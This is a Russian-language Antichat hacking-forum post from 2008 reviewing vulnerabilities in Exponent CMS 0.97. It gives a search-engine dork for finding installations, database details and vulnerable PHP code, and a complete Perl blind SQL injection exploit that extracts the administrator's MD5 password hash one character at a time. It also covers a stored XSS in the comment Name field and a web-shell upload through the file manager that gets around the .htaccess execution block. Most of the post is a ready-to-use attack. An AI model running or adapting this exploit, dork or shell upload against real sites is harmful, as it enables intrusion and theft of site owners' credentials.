Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[ Обзор уязвимостей Exponent CMS ] |

10.07.2008, 16:59
|
|
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме: 6905523
Репутация:
1174
|
|
[ Обзор уязвимостей Exponent CMS ]
Exponent CMS
Site: http://exponentcms.org
Dork: "Provided by OIC Group Inc" id
Version: Latest -- 0.97
Код:
default prefix: exponent_
user table: user
auth columns: username,password
Hash: md5($pass)
Remote SQL Injection:Bulletin Board by OIC Group, Inc Vuln code:/view_thread.php
PHP код:
....
if (!defined("EXPONENT")) exit("");
$bb = null;
$post = null;
$post = $db->selectObject("bb_post","id=".$_GET['id']);
# Видим, второе поле учавствует в запросе ниже.
if ($post && $post->parent != 0) $post = $db->selectObject("bb_post","id=".$post->parent);
....
...
PHP код:
....
function selectObjects($table, $where = null,$orderby = null) {
if ($where == null) $where = "1";
if ($orderby == null) $orderby = '';
else $orderby = "ORDER BY " . $orderby;
$res = @mysqli_query($this->connection, "SELECT * FROM `" . $this->prefix . "$table` WHERE $where $orderby");
if ($res == null) return array();
$objects = array();
for ($i = 0; $i < mysqli_num_rows($res); $i++) $objects[] = mysqli_fetch_object($res);
return $objects;
}
....
Составив эксплоит с вложенным во второе поле запросом, все же, вывода я не нашел. Забираем данные посимвольно.
Exploit:
Код:
#!/usr/bin/perl
use strict;
use LWP::Simple;
&usage;
my $host = shift;
my $id = shift;
$|=1;
my $n=48;
my $i =1;
my $loop = 1;
my ($content,$result) = undef;
my $request = 0;
print "Administrator hash: ";
while($loop)
{
$content = get($host.'/bbmodule/view_thread/id/'.$id.'+and+if(ascii(upper(substring((select+password+from+exponent_user+where+id=1),'.$i.',1)))='.$n.',1,0)');
if($content =~ /Posted on/) {print $result=chr($n); $n=47; $i++;}
elsif($i==33) {$loop = 0}
else {$n++; if($n==58){$n=65} }
$request++;
}
print "\nREQUEST: ".$request;
sub usage
{
print q
{
#################################################################
Exponent Bulletin Board Blind SQL Injection Exploit (id)
Author: ZAMUT
Vuln: id=
Homepage: http://antichat.ru
Usage: expon.pl [Server] [Valid Id]
Example:
perl expon.pl http://bla.ru 2
#################################################################
};
}
Active XSS:Module Weblog / Online Journal При оставлении комментария уязвимо поле " Name"
Vuln code:/comment_save.php
PHP код:
if (isset($comment->id)) {
$comment->editor = $user->id;
$comment->edited = time();
$db->updateObject($comment,'weblog_comment');
} else {
$comment->posted = time();
if (isset($user) && $user->id != 0) {
$comment->poster = $user->id;
$comment->name = $user->username;
} elseif (isset($_POST['name'])) {
$comment->name = $_POST['name'];
} else {
$comment->name = 'Anonymous';
}
$comment->parent_id = intval($_POST['parent_id']);
$db->insertObject($comment,'weblog_comment');
}
.../postgres.php
PHP код:
function insertObject($object,$table) {
$sql = "INSERT INTO " . $this->prefix.$table . " (";
$values = ") VALUES (";
foreach (get_object_vars($object) as $var=>$val) {
$sql .= "$var,";
$values .= "'".str_replace("'","\\'",$val)."',";
}
if (pg_query($this->connection,substr($sql,0,-1).substr($values,0,-1) . ")") !== false) {
$sql = "SELECT last_value FROM " . $this->prefix.$table ."_id_seq";
$res = @pg_query($this->connection,$sql);
if ($res) {
$o = pg_fetch_object($res);
pg_free_result($res);
return $o->last_value;
} else return 0;
} else return 0;
}
Shell:Manage Files => Upload => shell.phtml
Код:
http://localhost/exp/files/shell.phtml
В /files лежит .htaccess:
Код:
# secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI
Download
P.S.
Уязвимые модули, идут c CMS по дефолту.
(c) ZAMUT
__________________
в строю
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|